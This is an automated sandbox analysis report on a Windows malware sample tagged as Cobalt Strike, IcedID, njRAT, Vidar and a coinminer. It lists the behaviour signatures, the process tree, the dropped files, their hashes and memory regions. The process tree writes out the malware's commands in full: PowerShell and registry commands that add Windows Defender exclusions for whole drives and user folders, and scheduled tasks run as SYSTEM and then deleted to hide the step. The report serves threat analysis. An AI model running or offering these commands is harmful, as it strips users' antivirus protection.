Analysis

  • max time kernel
    145s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/08/2026, 04:24

General

  • Target
    2026-08-16_66b0a98dc3b60a04dfb291253abdab90_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
  • Size 40.7MB
  • Sample260816-e1vfcscr7s
  • SHA256 a91bbe051aa7064d3aec9d218eea6b90094b16e7a4ca37be5a419befc69dab25
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-16_66b0a98dc3b60a04dfb291253abdab90_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-16_66b0a98dc3b60a04dfb291253abdab90_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:816
  • C:\Users\Public\l7gIaO\GAaC6W.exe
    "C:\Users\Public\l7gIaO\GAaC6W.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2336
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3204
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\l7gIaO\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5064
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\l7gIaO\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2000
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1936
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4104
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:5680
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5700
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3812
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:572
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5792
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1108
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1140
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2132
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4420
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4800
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:2796
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3068
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:200
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3892
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:236
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4208
                      • C:\Users\Public\l7gIaO\GAaC6W.exe
                        "C:\Users\Public\l7gIaO\GAaC6W.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4100
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\l7gIaO" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:2732
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\l7gIaO" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:2912
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:4676
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4328
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4632
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:5572
                              • C:\Windows\System32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:4564
                              • C:\Windows\system32\cmd.exe
                                "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4124
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:3540

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      GAaC6W.exe

                                      • Path C:\Users\Public\l7gIaO\GAaC6W.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\l7gIaO\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 9879685aaa08d51535c87445a4eb6898ed56dcaaa4a8d2bbe635932b50fb8c26
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\l7gIaO\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 42fd4b78632323322d7b388335fe28f9264aef794fa9b8a985b4b06d67e05cfd
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\l7gIaO\msadox.tb
                                      • Size 8KB
                                      • SHA256 4350374988d2b4294106ce8caa422fb00db808ce779ce79f19c3ef16b7e80cc2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/816-1-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/816-2-0x0000000000580000-0x000000000058C000-memory.dmp

                                      memory/816-504-0x00007FFD0E560000-0x00007FFD0E572000-memory.dmp

                                      memory/816-526-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/816-527-0x00007FFD0E560000-0x00007FFD0E572000-memory.dmp

                                      memory/816-0-0x0000000000570000-0x000000000057E000-memory.dmp

                                      memory/2336-558-0x000002240DF90000-0x000002240DFDE000-memory.dmp

                                      memory/2336-565-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-538-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-540-0x00007FFD18680000-0x00007FFD18682000-memory.dmp

                                      memory/2336-541-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-545-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-546-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-547-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-548-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-552-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-532-0x00007FFD18670000-0x00007FFD18672000-memory.dmp

                                      memory/2336-563-0x000002240F370000-0x000002240F3FA000-memory.dmp

                                      memory/2336-562-0x000002240F370000-0x000002240F3FA000-memory.dmp

                                      memory/2336-561-0x000002240F370000-0x000002240F3FA000-memory.dmp

                                      memory/2336-560-0x000002240F370000-0x000002240F3FA000-memory.dmp

                                      memory/2336-533-0x00007FFCFC320000-0x00007FFCFC83E000-memory.dmp

                                      memory/2336-567-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/2336-568-0x000002240EAD0000-0x000002240F361000-memory.dmp

                                      memory/3204-595-0x0000013FAD810000-0x0000013FAD832000-memory.dmp

                                      memory/3204-601-0x0000013FC5DA0000-0x0000013FC5DAA000-memory.dmp

                                      memory/3204-600-0x0000013FC5CE0000-0x0000013FC5D92000-memory.dmp

                                      memory/3204-599-0x0000013FC5CC0000-0x0000013FC5CDE000-memory.dmp

                                      memory/4100-581-0x000001C20A510000-0x000001C20ADA1000-memory.dmp

                                      memory/4100-588-0x000001C20A510000-0x000001C20ADA1000-memory.dmp

                                      memory/4100-587-0x000001C20A510000-0x000001C20ADA1000-memory.dmp

                                      memory/4100-589-0x00007FFD18670000-0x00007FFD18672000-memory.dmp

                                      memory/4100-585-0x000001C20A510000-0x000001C20ADA1000-memory.dmp

                                      memory/4100-586-0x000001C20A510000-0x000001C20ADA1000-memory.dmp

                                      memory/4100-576-0x00007FFCFC320000-0x00007FFCFC83E000-memory.dmp

                                      memory/4100-580-0x00007FFD18680000-0x00007FFD18682000-memory.dmp

                                      memory/4100-578-0x000001C20A510000-0x000001C20ADA1000-memory.dmp